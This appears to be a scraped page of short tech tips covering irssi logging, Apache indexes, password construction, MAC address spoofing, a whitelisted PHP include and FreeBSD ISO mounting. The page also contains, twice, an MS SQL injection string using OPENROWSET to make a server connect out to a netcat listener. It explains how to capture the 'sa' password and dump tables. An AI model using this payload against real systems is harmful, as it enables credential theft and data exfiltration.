If you dont want to read the /help to find out how to log your channels and personal chats in irssi just use /set autolog on
Vladimirr.dk
If you dont want to read the /help to find out how to log your channels and personal chats in irssi just use /set autolog on
Vladimirr.dk
/windows move X X is the number you want to move the current channel to.
Vladimirr.dk
The default setting should be something like: <Directory /> Options FollowSymLinks AllowOverride All </Directory> Just add indexes: <Directory /> Options FollowSymLinks indexes AllowOverride All </Directory>
1. Pick a sentence that has meaning for you and that you will remember. i.e. I work at cox today. 2. All consonants (or all vowels) become UPPERCASE characters. 3. All vowels (or all consonants as it is the opposite of rule 2) become lower case characters. 4. Words like to and for become numbers. 5. Words like at and "and" become symbols (@ and &) 6. Add some character to the end like ! or # now my password is iW@C2day!
Check out this new tool for changing MAC addresses on Windows 2000 & XP, for almost all Network Adapters out there! It doesn't change the hardware MAC address, just the MAC address that got interpreted by the network adapter drivers and Windows. You can download it at: http://www.klcconsulting.net/smac *** Note: "00-00-00-00-00-00" is a NOT a valid MAC address for testing so it will not work. Try a MAC address that's couple numbers off from your TRUE MAC address for testing***
Here's the string you can drop in web form inputs to see if they're vulnerable to SQL injection (on Microsoft SQL server anyway): '; select * from OPENROWSET('SQLOLEDB','192.168.0.1';;,'select @@version')-- To verify results, replace the IP address w/ that of the machine you're testing from, and use netcat (attached) to listen on port 1433 with the following syntax: nc -vvv -l -p 1433 If the test is successful, you should see a connection and some garbage characters in the netcat window. This type of attack is particularly heinous to customers running Microsoft SQL Server 7/2000. If you replace the 'select @@version' with another command, you can cause the remote database to try and connect using its own 'sa' user and password in clear text and capture it with a sniffer. IF you want to get REALLY tricky, download 'data thief v1.0' and dump all of their tables in a handy GUI format. http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf
Here's the string you can drop in web form inputs to see if they're vulnerable to SQL injection (on Microsoft SQL server anyway): '; select * from OPENROWSET('SQLOLEDB','192.168.0.1';;,'select @@version')-- To verify results, replace the IP address w/ that of the machine you're testing from, and use netcat (attached) to listen on port 1433 with the following syntax: nc -vvv -l -p 1433 If the test is successful, you should see a connection and some garbage characters in the netcat window. This type of attack is particularly heinous to customers running Microsoft SQL Server 7/2000. If you replace the 'select @@version' with another command, you can cause the remote database to try and connect using its own 'sa' user and password in clear text and capture it with a sniffer. IF you want to get REALLY tricky, download 'data thief v1.0' and dump all of their tables in a handy GUI format. http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf
<? $allowed=explode(' ','forside profil produkter sikkerhed service kontakt'); if (in_array($_REQUEST['p'],$allowed)) { include($_REQUEST['p'].'.inc'); } else { include($allowed[0].'.inc'); } ?> include file.inc as contained in $_REQUEST['p'] (query variable) if `file` are liste in the $allowed array.
pinable# mdconfig -a -t vnode -f WarLinux-0.5cd.iso -u 0
pinable# mount -t cd9660 /dev/md0 /mnt
ifconfig xl0 ether 00:11:22:33:44:55